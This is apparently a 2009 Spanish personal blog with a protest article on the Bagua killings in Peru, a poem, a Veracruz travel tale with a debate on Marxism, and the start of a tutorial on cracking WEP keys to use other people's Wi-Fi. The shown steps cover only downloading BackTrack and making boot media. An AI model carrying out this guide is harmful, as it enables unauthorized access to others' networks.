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martes, 30 de junio de 2009

¡La selva no se vende, la selva se defiende!

Con este grito de combate, miles de indígenas de la selva amazónica peruana se levantaron en contra de las fuerzas represivas y militares del presidente Alan García, quien buscaba a toda costa despojarlos de sus tierras ancestrales para entregárselas a las grandes corporaciones nacionales y transnacionales para su explotación.

Una vez más, los intereses capitalistas y sus gobiernos lacayos demostraron que no están dispuestos a respetar la vida de los pueblos indígenas a quienes ven como un obstáculo para el “desarrollo” del capital. A finales del 2008, el ultraderechista Alan García emitió una serie de decretos, como el DL 1090, la “Ley Forestal y de Fauna Silvestre” y la “Ley de Recursos Hídricos”, en los que se disponía la entrega de los recursos naturales a los grandes capitales, permitiendo la privatización de los bosques y recursos hídricos de la selva peruana, habitada por más de 60 etnias indígenas. Un año antes, en octubre de 2007, García había hecho explícita su lógica neoliberal en un artículo en donde expresaba que la inversión “necesita propiedad segura, pero hemos caído en el engaño de entregar pequeños lotes de terreno a familias pobres que no tienen un centavo para invertir... esa misma tierra vendida en grandes lotes traería tecnología.” Desde su punto de vista, era más rentable dar más tierra a los grandes capitalistas y despojar a los pobres de sus terrenos porque ellos “no producen” capital. Quedaba claro que su gobierno era un gobierno de los ricos y para los ricos, que no tenía el más mínimo interés en proteger el interés de los pobres.

Sin embargo, el pueblo peruano no se quedó con las manos cruzadas viendo cómo se le despojaba de sus tierras y recursos. El 9 de abril se movilizaron pacíficamente miles de indígenas amazónicos para exigir al gobierno la derogación de estas leyes entreguistas, que comenzaron a conocerse como las “Leyes de la Selva”. Enseguida se organizaron paros y manifestaciones que fueron contestadas con la cerrazón del gobierno, quien movilizó a las fuerzas policiacas y al ejército, declarando un Estado de Sitio en la zona, suspendiendo todas las garantías individuales. Esto provocó una respuesta más enérgica de las comunidades, que comenzaron a hacer cortes de carretera, cierre de válvulas de gaseoductos y bloqueos a la navegación en los ríos.

El pasado 5 de junio, la represión alcanzó su punto más brutal cuando los militares incursionaron en la ciudad de Bagua, ubicada 1 400km al norte de la capital peruana, y perpetraron una feroz masacre en contra de los pueblos indígenas. Los soldados asesinaron a más de 40 indígenas, dejando también un saldo de decenas de desaparecidos y cientos de heridos. Algunos campesinos denunciaron que el Ejército arrojó cuerpos de indígenas a los ríos para que no se contabilizaran entre los muertos. Para el 8 de junio, las Fuerzas Armadas había desplazado a las autoridades civiles de Bagua.

Como era de esperarse, los medios de comunicación comerciales escondieron los crímenes y se dedicaron a tergiversar los hechos. Mostraron escenas de policías golpeados y pidieron la represión indiscriminada. También hicieron eco de las declaraciones racistas de Alan García, diciendo que las movilizaciones eran producto de intereses extranjeros que manipulaban a los indígenas “ignorantes”. Mientras tanto, los medios alternativos fueron acallados, como es el caso de la Radio la Voz, un medio independiente indígena que fue sacado del aire por las fuerzas del gobierno.

No obstante, los pueblos amazónicos no se dejaron intimidar, advirtieron que defenderían su tierra con la vida, y respondieron a la embestida gubernamental. El 7 de junio, 1 300 indígenas ocuparon el aeropuerto de Trompeteros, en el noroeste del país. Se incrementaron las movilizaciones y se convocó a una jornada nacional de lucha que incluía paros y acciones regionales en todo el país, así como una marcha nacional programada para el 11 de junio.

Como resultado de la movilización popular, el gobierno comenzó a recular y declaró la suspensión provisional de las “Leyes de la Selva”. Sin embargo, las comunidades no se dejaron engañar pues lo que se exigía era la derogación total de estas leyes y no una mera suspensión temporal.

Continuaron las movilizaciones y la presión internacional, lo que hizo que finalmente, el 18 de junio, el gobierno tuviera que derogar las leyes en cuestión. Esto se convirtió en un gran triunfo para los pueblos amazónicos y para todo el pueblo peruano. Una vez derrotado, Alan García, admitió que su gobierno había cometido “errores con los indígenas” y que había que “volver a empezar”. Estas cínicas declaraciones ignoraron convenientemente toda la sangre derramada por los pueblos en esta lucha, así como los exiliados, desaparecidos y perseguidos que todavía siguen en las cárceles militares.

Es por esto que los pueblos no han bajado la guardia y continúan exigiendo el alto a la persecución y el castigo a los responsables. No obstante, los indígenas peruanos comprobaron una vez más que sólo con la lucha popular se puede detener el avance del despojo imperialista y la acumulación de capital a costa del bienestar popular. Esto explica que hoy, aun después del gran triunfo popular, se escuche todavía y con más fuerza el grito de ¡la selva no se vende, la selva se defiende!

martes, 19 de mayo de 2009

Más allá del olvido

Hoy te volví a encontrar...

No había aun terminado mi viaje nocturno,
cuando ya extinta tu ternura había quedado.
El sueño taciturno de noche andado
me hizo descubrir tu deseo inoportuno.
Sentí una vez más tu cabello,
los destellos de tu cuerpo,
en tu mirada, la amargura,
el vacío de tu abrazo,
y la dulce promesa de una renovada cordura.

Asomaste a la sombra de tu olvidado escondite,
mezcla de absurdo y contundente,
con cimiento de lúdico y pueril.
Te encontré serena, como otras veces,
con el pecho descubierto,
tumulto de fragilidades,
escapando a saltos de tu vestido,
queriendo impresionar al mundo,
con tus gestos de grandeza malograda.

¿Sabes...?
Ya no te encuentro deleznable.
No... tu desvalor se ha tragado mi abyección,
futilidad que raya en lo absurdo,
de la palabra no encontrada...
El mundo cada vez más inhumano,
arde en muerte e ignominia,
y yo en mi pequeña prisión de libertad,
castigo infame de vergüenza y cobardía.

Que mis pensamientos no entren nunca más,
en el recinto de la vanidad,
orgullo lastimado...
y mi cuerpo lleno de vacío,
se derrumbe ante lo trascendente,
que se encadene a una columna de voluntades,
mientras te busco entre escombros de nostalgias...
Libero del olvido a tu recuerdo,
pero ahora, sin temor, lo entrego a la experiencia.

Finalmente escojo libre a quien amar,
y me entrego a un amor tan imperfecto.
uno lleno de defectos,
uno eternamente diferente.
Ahora el momento en que me atreva a soñar...
Será por siempre el camino a la verdad.
Traviesa trampa del deseo,
Oculta en su espléndida imperfección, la libertad.
Hoy con fuego en mi corazón sentencio:

¡Que no se escuchen mis silencios nunca más...
y en su lugar retumbe irreverente la belleza de la verdad!

sábado, 7 de marzo de 2009

Viaje a la cascada...




Revisando y buscando unos documentos perdidos de hace ya algunos años, me topé con este texto que escribí después de un viaje por el sur de Veracruz; mi primer acercamiento a la escritura, incipiente y desordenado, pero parte de mi pasado. Siempre es interesante re-encontrarse y re-conocerse en esas primeras letras del pasado...

Viaje a la cascada “La Nueva” en Soteapan
(29 de agosto de 2004)

…finalmente, después de una interminable sesión sobre las posibilidades turísticas en la región, los presentes acordamos visitar una cascada que lleva el nombre de “La Nueva”.  Este lugar se encuentra a una hora y media de Coatzacoalcos viajando en carro. Está a unos cuantos kilómetros después de Chacalapa en la carretera a Chinameca.  Cuentan los lugareños que en toda esa región existe todavía la magia; que el avasallante poder del racionalismo colonial todavía no ha penetrado en los espacios de los indígenas nahua y popoluca de la sierra de Santa Marta, en el extremo sur de Veracruz, y quien se adentra en esos caminos no puede sino caer presa de las maravillas del misticismo prehispánico.
El hombre urbano que ansioso buscaba la manera de entretenernos en nuestra breve estancia en Coatzacoalcos, se encontraba satisfecho al ver que los extranjeros habíamos tomado con mucho entusiasmo su idea de pasar el fin de semana en La Nueva Cascada. Esa tarde hicimos todos los preparativos para el día siguiente. No había que olvidar el repelente y el gel antibacterial, pues según las advertencias de la embajada, las regiones selváticas de este país pueden ser muy peligrosas para los blancos.  Un par de botellas de agua, trajes de baño, toallas, algo de comer y todo estaba listo para el paseo.
A la mañana siguiente, nuestro anfitrión pasó muy temprano por nosotros en su pequeño y carcomido Sedán, y a eso de las diez de la mañana ya nos encontrábamos camino a la cascada. Ese día, el hombre urbano decidió olvidarse de sus negocios y con la alegría de quien olvida por un instante la tan temida cotidianidad, manejaba al mismo tiempo que nos conducía por un espléndido camino de historias, narraciones y revelaciones tan magnificas como extrañas e incomprensibles para nosotros.
Un día, hace ya algunos años, en mi juventud, decía el hombre urbano de identidad mestiza, tuve un viaje al mundo de los sueños en donde los dioses hablan con los mortales y pocos son los que saben escuchar. Estaba en un lugar donde se habían reunido muchos ancianos. Todos de piel obscura y semblante recio. Visiblemente perturbados por mi presencia, me observaban esperando que explicara mi estancia. Después de mucho rato de silencio, uno de ellos, el más sabio, quien estaba al frente del grupo, se me acercó y me preguntó: “¿qué quieres?”. Sin pensar, le contesté casi como por mecánica: “el poder del Jaguar”.
Visiblemente molesto, el viejo respondió con voz alzada y tono violento: “no estás listo todavía”. Subiendo aun más el tono de voz le respondí que sí lo estaba…
Enojado ya el anciano insistió en su enérgico rechazo pero en mi juventud insensata le respondí una vez más casi gritando: “sí lo estoy”.
El viejo irritado, finalmente me contestó: “Pues entonces... toma lo que quieres…”

La historia de Don Domingo Quem B'alam

En ese instante le dio un fuerte golpe en el pecho que le cortó la respiración y produjo un inmenso halo de luz. El hombre urbano espantado trató desesperadamente de contener el dolor y respirar; y en su intento despertó agitado de aquel sueño. Muchas noches después, tuvo incesantes sueños en donde el Jaguar se aparecía y bailaba una danza cósmica con él. Fue ahí donde entendió que había sido finalmente aceptado en la dinastía de los B’alam...

El Hombre que manejaba hacia La Nueva Cascada nos revelaba su ingreso a la dinastía de los B’alam.  Emocionado se remontaba a épocas pasadas y nos presentaba a personas muy queridas para él que habían ya dejado este mundo material. Una de estas personas era el humilde Domingo Quem B’alam.
En su despertar juvenil, nuestro hombre urbano gustaba de viajar a las zonas sagradas de las culturas prehispánicas en Mesoamérica. Buscaba reencontrar la grandeza espiritual de estos pueblos y ser partícipe de ella. En un viaje a Ek B’alam, ciudad Maya que lleva el nombre de Jaguar Negro y que floreció entre los años 600DC y 900DC, tuvo la oportunidad de conocer y platicar con una persona del lugar. Esta persona era muy humilde y trabajaba en la construcción de proyectos habitacionales locales.  Platicaron de diversos temas propios de un encuentro casual entre dos desconocidos. El hombre urbano, sin embargo, había notado que en diferentes partes de aquella zona había restos de incienso y copal. Estaba seguro que estos eran indicios de rituales sagrados. Momentos después, al desarrollarse la plática, el desconocido le reveló a nuestro hombre urbano que en ese lugar se hacían muchas ceremonias y que él conocía a las personas que llevaban a cabo esas ceremonias. Ya al despedirse, el hombre urbano logró que el desconocido lo invitara a volver en un futuro próximo. El desconocido le dijo que si regresaba, él podía llevarlo a conocer a los menes (chamanes) del lugar.
Unos quince días después, el hombre urbano agarró su mochila y tomó un camión de paso que lo dejó en ese mismo lugar. Había decidido regresar en busca de aquel desconocido que le había prometido llevarlo a conocer a los sacerdotes Mayas. Al llegar a donde estaba la construcción, se percató de que el desconocido no estaba en el lugar donde estaban los demás trabajadores. Preguntó por él a los presentes quienes le dijeron que ese día no había llegado a trabajar la persona a quien buscaba. Consternado el hombre urbano les preguntó si el desconocido vivía cerca del lugar. La respuesta no fue más grata que la anterior. Aquel desconocido que había prometido un encuentro con los chamanes del lugar vivía en una zona muy apartada en lo más recóndito de la sierra.
El hombre urbano, al no poder regresar y no conocer a nadie en ese lugar, les suplicó a los trabajadores que lo llevasen a la casa del desconocido. Estos le contestaron que tenían que trabajar pero que si esperaba, podrían llevarlo cuando terminaran ya que ellos vivían en el mismo lugar. Así pues, el hombre urbano esperó toda la tarde hasta que terminaran los trabajadores quienes al regresar a sus hogares para disfrutar del cotidiano descanso y poder así recuperar y reproducir su diaria dosis de fuerza productiva, llevaron a nuestro hombre hasta una choza muy humilde y le indicaron que esa era la casa en donde vivía el hombre que tanto buscaba.
Ansioso, nuestro personaje se apresuró a llamarle a gritos. Los otros trabajadores le gritaban de igual forma:
“¡Aquí te buscan! Dice que es amigo tuyo.”
Por largo rato no hubo respuesta y tuvieron que volver a gritar hasta que por fin respondió el desconocido.
“¡No conozco a nadie! ¡No sé de quien me hablan!”
El hombre urbano, al oír estas palabras reflexionó:
“Apenas hablé unas cuantas horas con este desconocido. Qué ingenuo fui al pensar que se acordaría de mi”
Sin embargo, el miedo acogió al hombre urbano ya que la noche se adentraba y él no tenía dónde dormir. Al percatarse de su situación, el hombre, ansioso, se desesperó y comenzó a gritar enérgicamente.
“¡Soy yo! Acuérdate, nos conocimos hace unos días y me prometiste llevarme con los menes.”
Entonces, el desconocido guardó silencio y se asomó por una ventana de palo y sin vidrio. Salió enseguida y se le quedo mirando entre irritado y perplejo. El hombre urbano se percató de que el malhumorado desconocido se encontraba entre ebrio y trasnochado. Pensó en la insensatez de haber venido y quiso retirarse, pero el desconocido finalmente lo miró y le dijo con voz serena.
“Sígueme”
Caminaron por largas horas internándose en lo más oscuro de la selva. Siguieron hasta llegar a una pequeña choza en donde el desconocido entró y saludó a un viejo que ahí se encontraba. Platicaron los dos en su lengua maya sin que el hombre urbano los pudiera entender. Finalmente se despidieron y el desconocido comenzó a retirarse.
Aquél viejo, hombre de mirada recia y semblante fijo, emanaba fuerza de su ser. Era de tez morena y chaparrito, con el cabello grisáceo por su vejez. Su piel arrugada y canas blancas en las cejas y bigotes denotaban su avanzada edad. Una vez que el desconocido se había alejado, el viejo miró fijamente al hombre urbano y con un español muy quebrado le dijo en voz firme pero serena.
“¿Qué quieres?”
El hombre urbano, que hasta ese momento no había pensado en eso, se quedó callado, desorientado por la súbita pregunta.  Después de todo, la insensatez queda siempre al descubierto en ese momento en el que uno finalmente se ve confrontado con la consecución de lo buscado.  Uno siempre está seguro de lo que busca... hasta que lo encuentra.
Ante la perplejidad del hombre urbano, el viejo volvió a insistir: “¿Qué quieres? ¿Quieres escribir un libro?”
“No” contestó el hombre urbano.
“¿Quieres hacer una película?”
“No”
“¿Entonces, qué quieres?”
Guardo silencio el hombre y después de un rato pudo articular finalmente sus palabras y sólo atinó a decir:
“Quiero aprender”
El viejo calló y después de unos minutos le dijo al hombre urbano que se quedaría esa noche a dormir en su choza y que al otro día empezaría a aprender.
En esa ocasión, el hombre urbano estuvo toda una semana con el viejo. Después de este tiempo se despidió, ya que tenía que regresar a su familia y a sus negocios. Sin embargo, frecuentemente regresaba con el viejo y se pasaba temporadas enteras en el lugar.
Días después, supo que aquel viejo llevaba el nombre de Domingo Quem B’alam y aprendió que este era el guardián de Chichen-Itza. Conoció a su esposa e hija y logró hacer una gran amistad con ellos. Don Domingo le enseñaba los secretos de la espiritualidad Maya y este prestaba atención para poder conocer estos misterios y sentirse en armonía con la naturaleza y ser parte integra del cosmos. Sin embargo, siempre llegaba la hora en que tenía que regresar a sus negocios y dejaba la selva para volver a la espiritualidad de la oficina, el tráfico y el ajetreo.
Un día, Don Domingo se le acercó al hombre urbano y lo invitó a una reunión secreta de menes del lugar que iba a llevarse a cabo en unos días. Le dijo que en estas reuniones nunca aceptaban a mestizos, pero que él convencería a los otros menes y no habría problema en que él participara. El hombre urbano sintió temor, titubeó, y sin darse cuenta rechazó la invitación de Don Domingo.
Desde ese momento, las visitas se hicieron más y más infrecuentes. Poco a poco, el hombre urbano, casi dejó de visitar a Domingo y su familia.
Un día el hombre urbano decidió regresar al lugar. Alistó sus cosas y junto con su familia emprendió un nuevo viaje a aquel lugar. Llevaba consigo regalos para Domingo y su familia como acostumbraba a hacer cuando frecuentaba el lugar.
Al llegar a la casa de su amigo, el hombre urbano sintió una extraña sensación y se percató de que no había mucha actividad en la casa. Vio a las hijas de Domingo adentro, paradas y con una mirada penetrante. Buscó a Domingo con la mirada pero no lo encontró. Vio entonces a su esposa que lloraba amargamente, al pie del catre de palo que usaba la familia como cama. Entonces fue cuando una de las hijas se percató de la presencia del hombre urbano y se le acercó. Con dificultad pudo articular unas palabras que el hombre urbano ya había entendido antes de oírlas pero seguía rehusándose a aceptarlas.
Don Domingo Quem B’alam había muerto. Un dolor desgarrante inmovilizó al hombre urbano. Quiso gritar pero no pudo. Quiso llorar pero no lo hizo. Quiso correr pero su cuerpo se había petrificado como una estela maya olvidada por el tiempo. Sin entender el dolor del hombre urbano, su familia trataba de consolarlo. Entonces, la esposa de Don Domingo salió de la choza e invitó al hombre urbano a entrar. Hundida en su dolor, la señora no había recibido a nadie desde que Domingo murió.
El hombre urbano se dio cuenta de que había dejado ir al viejo Domingo sin haber querido aprender todo lo que podía haber aprendido. Las lágrimas comenzaron a fugarse en un frenesí desesperado de los ojos de aquel pobre hombre. Entonces supo que Domingo sólo había tenido dos amigos y él era uno.
La esposa de Domingo le dijo al hombre urbano que se llevara las pertenencias de su esposo, las plumas, las piedras y otros materiales que usaba Domingo en sus ceremonias. El hombre urbano no aceptó y pronto decidió retirarse. De regreso a su ciudad, el hombre urbano no lograba concentrarse y tuvo que manejar su esposa. No podía contener el dolor que sentía por el viejo Domingo.
Unas semanas después cuando hubo asimilado ya su dolor, el hombre urbano decidió regresar a visitar a la familia de Don Domingo. Al llegar al lugar aquel donde por primera vez Domingo recibió al hombre urbano, no pudo encontrar nada. Buscó y buscó y no halló rastros de la familia de Domingo. Entendió entonces que nunca volvería a ver a esa familia. Unos días después supo que la familia había desaparecido quince días después de la muerte de Domingo. Se habían ido con el alma de Don Domingo Quem B’alam.

Llegada a la cascada
El hombre que manejaba continuó sus relatos de historias fantásticas y vivencias misteriosas hasta llegar a nuestro destino. Paró el carro junto a una pequeña casa de lámina que estaba a unos metros de una palapa en donde jugaban alegremente un grupo de chiquillos. Se respiraba el calor húmedo tropical de la selva que sofocantemente nos hacía apresurarnos a descender del carro para poder tomar una profunda bocanada de aire fresco. Los chicos nos veían con la curiosidad propia de quien observa a un grupo de extraños invadir su espacio personal.
Después de saludar a unos hombres que cuidaban la entrada al lugar, el hombre urbano nos guió por una vereda que descendía y se internaba en la selva y se volvía cada vez más estrecha. Seguimos el camino hasta llegar a una gran bóveda de basalto de donde caía un fuerte chorro de agua de unos cuarenta metros de altura hacia una fosa de unos veinte o treinta metros de diámetro. De una esquina de la fosa, salía un arroyo que dejaba escapar el agua por las piedras a una velocidad que podía fácilmente arrastrar a cualquier persona que llegara a estar a unos pocos metros de distancia.
La parte superior de la gran bóveda dejaba asomar unas magníficas columnas pentagonales de basalto que como inmensas estalactitas amenazaban al aficionado con dejarse caer y enterrarse en el fondo de la fosa. Por debajo de las columnas, la gran pared natural estaba hecha de algún tipo de tierra filtrante por donde caían chorros de agua pura. Aquella pared de cuarenta metros de altura era una gran purificadora natural.
Después de admirar la grandeza que se presentaba ante nuestros ojos, nadamos y disfrutamos como cualquier gringo en Mazatlán. Al cabo de un rato caminábamos ya de regreso hacia la palapa de la entrada, dejando atrás el rugido de aquella cascada que enojada por nuestra presencia parecía un león que al verse perturbado en su sueño ruge para espantar a los intrusos.
Al llegar a la palapa, el hombre que había manejado hasta el lugar, hablaba con voz de mando a los indígenas pidiendo ser atendido, como cliente que protesta al esperar un servicio que ha comprado. Así, después de unas horas, degustamos una rica mojarra preparada con el sazón que sólo aquellos hombres y mujeres popoluca saben preparar.

De regreso a la ciudad por la carretera de las ideas
Después de haber disfrutado una breve estancia en la Nueva Cascada, nos despedimos de nuestros anfitriones y procedimos a embarcarnos en nuestros vehículos que nos llevarían de regreso a la ciudad en cuestión de minutos. Durante el camino, el hombre que manejaba comenzó una vez más a hablar de chamanes mayas y círculos secretos de la espiritualidad prehispánica. A nuestro alrededor, el paisaje estaba lleno de casas de lámina, de palo y de barro. Por todos lados saltaban a los ojos las estadísticas que presentaban al observante el 80% de mexicanos que vive en pobreza y en algunos casos dejaban ver los más de veinticinco millones de indigentes. En ese recorrido, el tiempo parecía no haber pasado y la modernidad era sólo una falacia en la imaginación de los conquistadores contemporáneos.
Fue entonces cuando el hombre que manejaba llegó en su conversación al tema del gran peligro que acecha a nuestros pueblos en el México contemporáneo. Habló de un monstruo voraz que amenaza con engullir sin piedad la tradición prehispánica. La plática dio paso a un intenso debate sobre la naturaleza del monstruo y de la responsabilidad de los hombres y mujeres de conciencia en incidir positivamente en la lucha por la humanidad.
No sólo es la ‘tradición’ o la ‘espiritualidad’ lo que ese monstruo devora en su existir Al crecer destruye pueblos enteros, hombres, viejos, niños y mujeres. Destruye árboles, ríos y montañas. Destruye culturas y sabidurías milenarias. Pero lo más importante, ese monstruo destruye día con día nuestra humanidad. Destruye el amor y la esperanza. Destruye la ilusión de una utopía movilizadora, de una utopía alentadora y creadora de igualdad.
Ese monstruo devorante fue creado por los hombres necios enfermos de poder, los cuales no pueden controlar más al monstruo y son poco a poco destruidos por el objeto de su creación que toma una vida propia y crece para destruir a su creador, como el hechicero que aventajado por el ente infernal que él mismo despertó pierde el control de su creación y es devorado sin piedad por este objeto de su propia hechicería.
Aquel monstruo infernal tiene un nombre. Pero como el que teme a pronunciar el nombre de un demonio inefable, muchos temen a llamar al monstruo por su nombre, sustituyéndolo por diversos eufemismos como “globalización”, “neoliberalismo”, “modernización”, “desarrollo económico”, “imperialismo”, “liberalismo” o “democracia occidental.” Ese monstruo es el capitalismo salvaje que roba la libertad y se alimenta del amor.
Cuando este monstruo aberrante era ya el tema central de la conversación en aquel pequeño vehículo que regresaba de la Nueva Cascada, el hombre que manejaba objetó diciendo que no estaba en las manos de los hombres o mujeres el detener a este monstruo. Habló de la existencia de un destino determinante al que todos inexorablemente nos supeditamos, un destinó que desde antes de la vida misma ya estaba escrito y predeterminado en el orden existente. Este destino, argumentaba el hombre urbano, era parte de un plan divino en el que cada quien vive la vida que le tocó vivir y cada quien sufre lo que debe sufrir y goza lo que debe gozar. De esta forma, el monstruo no puede ser detenido por los humanos, ya que la existencia misma del monstruo es parte del orden cósmico en el que existimos, no por casualidad. El hombre urbano insistía en que la liberación y la emancipación por las que debemos luchar, se encuentran en el plano espiritual. Es decir, la opresión material no es más que la ilusión de una vida material en la que no existimos realmente sino como entes espirituales. No debemos luchar por un cambio en el ámbito material porque todo lo que existe en nuestra realidad mundana es parte de un orden cósmico ya establecido y prediseñado en un plan divino.
Pero aquel orden del que hablaba el hombre que manejaba contrastaba irrebatiblemente con la presencia aun tangible en nuestro departir de aquel inefable monstruo. Aquel orden cósmico en donde todos son lo que merecen ser y todos tienen lo que cosecharon en algún otro espacio-tiempo, parecía ser más bien un desorden. Aquel orden en donde la mitad del mundo muere de hambre y la otra muere por guerras de poder no puede ser orden.

Ruego disculpas si el problema es meramente de semántica y en mi atrabancada insensatez entendí lo que no era o era lo que no entendí. Si orden es desorden y el antónimo resulta homónimo, entonces puede que haya entendido mal la metafísica. Pero si A no es su opuesto (~A) más que en el sentido dialéctico de la epistemología, entonces no puedo más que rechazar aquella idea de un orden teleológico previamente establecido por un destino causal.
Dicho de otra forma, si se busca en un diccionario el significado de la palabra orden se encontrará algo así como: “colocación de las cosas en el lugar que les corresponde” o “paz y tranquilidad”, lo cual contrasta rotundamente con palabras como “pobreza extrema”, “marginación”, “genocidio”, “etnocidio”, “explotación”, “opresión”, “tortura”, “desplazamientos forzosos”, “desapariciones” “asesinatos selectivos”, “terrorismo de estado”, etc. Sin embargo, estas palabras parecen ser el referente empírico de lo que el orden cósmico necesariamente indica. He aquí la contradicción...

Pero el hombre que manejaba continuó viajando por la ruta de la predeterminación del destino y la plática se tornó en una apología de aquel monstruo inefable y su dominación. El que muere entonces, es culpable de haber muerto, el que llora es porque quiere llorar, los cinco billones de pobres, son pobres no por algún problema en el ‘orden’ existente sino porque en algún otro tiempo-espacio debieron haber sembrado su desgracia. No es el sistema el que oprime, sino el oprimido el que causa su opresión. No explota el explotador, sino el explotado. No discrimina el racista, sino el discriminado. Aquel extraño orden parecería haber invertido la realidad y una vez puesta de cabeza, creado una extraña apología del sistema explotador.
Siguió el hombre que manejaba en la lógica del orden. La necesaria conclusión era que para lograr una verdadera liberación había que buscar el orden cósmico y encontrar el papel personal, individual, dentro de este orden. Había que encontrar la misión personal, es decir lo que el destino habría escrito para cada uno. Habría que descubrir lo que somos, tomar conciencia y aceptar lo que somos.
En otras palabras, para combatir al monstruo hay que aceptar nuestro destino. ¿Para derrotar al opresor hay que aceptar ser oprimido? ¿Para liberar al explotado hay que aceptar la explotación? ¿Para derrotar al asesino, hay que dejarse asesinar?
Podría dársele sentido a esta contradicción lógica, sólo si ésta se plantea meramente en el plano de las ideas, es decir, si la emancipación se concibe como un proceso espiritual, la realización del espíritu en la conciencia individual. Era esto precisamente lo que ansiosamente defendía y predicaba el hombre que manejaba.
Si se analiza detalladamente esta proposición epistemológica, se puede descubrir en ella un idealismo filosófico característico del pensamiento religioso Europeo de inclinación judeo/cristiana. Buscando los orígenes de este tipo de concepciones podemos regresar en el desarrollo histórico del pensamiento europeo hasta llegar a Platón quien pensaba que el mundo material era sólo el reflejo del mundo de las ideas. Para este filósofo, la realidad existía en una dimensión independiente del mundo material y este, era meramente, una representación de la realidad. Esta misma tendencia filosófica pasa por pensadores como Tomás de Aquinas, San Agustín o Immanuel Kant, hasta llegar al complicado Hegel quien formaliza el proceso mecánico de la dialéctica de la evolución del Espíritu.
Hegel propone un proceso de evolución en un plano inmaterial por medio de una toma de conciencia y un "auto-descubrimiento" que puede contrarrestar la enajenación del yo. Este proceso de toma de conciencia no es más que la realización de una unidad entre la subjetividad y el Espíritu, concebido como ente independiente y parte de una totalidad.
Al concentrarse sólo en el proceso de "auto-descubrimiento", y al concebir la evolución en un plano no-material, estamos adoptando necesariamente una visión apologética del orden (más bien desorden) material en el plano físico y social. Al querer concebir el proceso evolutivo como un proceso espiritual interno e individual, se corre el peligro de no abocarse a un proyecto de cambio social, sino terminar apoyando un conservadurismo desmovilizante.
El pensar que este proceso de desarrollo espiritual ocurre dentro de un plan ya establecido y predeterminado en donde cada quien es quien está destinado a ser es pensar que cada quien es quien debe de ser. En otras palabras, el pobre está destinado a ser pobre y el rico y opresor a ser rico y opresor. La consecuencia lógica de esta línea de razonamiento es que, por ejemplo, el rico se deshace de cualquier tipo de responsabilidad en la pobreza del explotado. Es aplaudir el mundo como es y desechar a priori la posibilidad de un cambio social, la posibilidad de luchar por una sociedad egalitaria, la posibilidad misma de combatir al monstruo.
Este tipo de pensamiento idealista, se puede contrastar con una corriente paralela que se remonta al empirismo del viejo Aristóteles, el materialismo. Si se sigue este camino se puede llegar al pensamiento de Carlos Marx, quien toma las ideas Hegelianas y las baja del ámbito de las ideas al plano material. Marx se da cuenta de que al concebirse la evolución del ser humano en un plano espiritual, se hace a un lado la realidad material y se condona de esta forma la opresión, explotación y sufrimiento de las masas explotadas, de la humanidad. Una de las principales tesis marxianas se basa en la preocupación por la insistencia de los filósofos en sólo observar el mundo, cuando el objetivo mismo de la filosofía debe ser cambiarlo...

Así concluye la breve historia de aquel viaje a La Nueva Cascada, que resultó ser no sólo una belleza natural en medio de un mundo de miseria, sino un lugar lleno de historias, maravillas, y esperanzas que llenan el corazón del visitante que pone atención de una inmensa alegría y unas ganas de luchar por lo que a los ojos del necio pareciera no tener solución, unas ganas de vivir en libertad, en un mundo justo e igualitario, en un mundo verdaderamente humano.

¿Internet gratis...?


(Breve explicación de cómo hackear una clave WEP para poder utilizar una señal inalámbrica de Internet protegida)

Si tu computadora capta las señales cercanas de Internet inalámbrico pero no puedes utilizarlas porque al tratar de conectarte te pide la clave WEP (WEP key) o una frase de contraseña, con este método podrás obtener la clave que necesitas para acceder a cualquier señal inalámbrica. Por supuesto, si la señal inalámbrica está protegida por WPA en lugar del WEP, entonces este método no funcionará. Sin embargo, la mayoría de servicios de Internet inalámbrica, a la fecha, utilizan como estándar de seguridad el WEP.

Este método utiliza como herramienta principal la distribución de linux “Back Track 3.0”, la cual fue precisamente diseñada para auditorías de seguridad informática. El Back Track es una distribución en formato LiveCD que surge de la combinación de dos distribuciones linux anteriores, “Whax” y “Auditor Security Collection”. Para los que saben un poco más de linux, es interesante saber que el Whax es la evolución del “Whoppix” (White Hat Knoppix). Si el Knoppix ha demostrado ser una herramienta muy poderosa, el Back Track recoge esto y mucho más.

Todo esto suena inteligible para quienes utilizan alguna distribución de linux como sistema operativo (OS), o cualquier otro OS de Unix. Pero... ¿qué pasa con los que sólo utilizan Windows? No se preocupen, el Back Track, como ya dije anteriormente, viene en formato LiveCD y se puede utilizar independientemente de qué OS tenga tu computadora. Esto significa que no tienes que instalar nada, sino que puedes correr el sistema desde un CD o una memoria USB. Por supuesto, yo les diría a los que todavía están limitados al imperio de Microsoft, que se pongan las pilas y hagan el cambio a linux, no importa qué distribución sea (Ubuntu, Suse, Red Hat, Mandriva, Slackware, etc.). Las posibilidades son inmensas.

Bueno... una vez dicho esto, procedamos a lo que nos interesa. Estos son los pasos que hay que seguir para obtener la clave WEP de nuestra señal captada:


1. Así como un doctor, mecánico o un carpintero no pueden hacer nada sin sus herramientas, así nosotros, primero tendremos que conseguir nuestra herramienta, es decir, la distribución LiveCD de Back Track. Para esto, vamos a la siguiente página: http://www.remote-exploit.org/backtrack_download.html Ahí podemos bajar la imagen .iso de Back Track, la cual después tendremos que quemar en un CD o una memoria USB. Sólo hay que dar click en donde dice: “Download: Click Here”. Esto puede ser un poco tardado. Si tenemos una conexión de Internet rápida, quizá sea un par de horas, si no, podría tardar más.

(Nota: Si queremos la imagen para CD, bajamos la primera opción que nos aparece en la página y si queremos hacerlo a través de una USB bajamos la segunda opción.)


2. Una vez que se haya bajado completamente la imagen tendrás en tu carpeta de descargas un archivo llamado “bt3-final.iso” o “bt3final_usb.iso” (dependiendo si bajaste la imagen para CD o para USB respectivamente).

Si descargaste la imagen para CD, sólo tienes que quemarla (descargarla) en un CD y listo, tendrás tu herramienta lista para usarse. Entonces salta el siguiente paso, y continúa leyendo en el punto 4.


3. Si descargaste la imagen para USB, entonces lo que tienes que hacer primero es copiar la imagen en tu USB. Después tendrás que extraer los archivos de la imagen en el USB. (Nota: necesitarás una memoria USB de al menos 1GB. Ahora tendrás en tu memoria dos carpetas (“boot” y “BT3”). Entra a la carpeta “boot” y:

Si tienes Windows, corre el archivo “bootinst.bat”. Si tienes Windows Vista, tendrás que correr el archivo con privilegios de administrador. Esto se hace dando click derecho sobre el archivo y seleccionando la opción de ejecutar con privilegios de administrador. Te va a salir una ventana de línea de comandos MS-DOS, y tendrás que dar “enter” dos veces, de acuerdo a las instrucciones que te vaya indicando el programa.

Si tienes un OS de linux, entonces ahí mismo dentro de la carpeta “boot” encontrarás un archivo que se llama "bootinst.sh". Ejecuta este archivo en terminal, y lo mismo, tendrás que darle “enter” dos veces, de acuerdo a lo que te vaya indicando el programa.

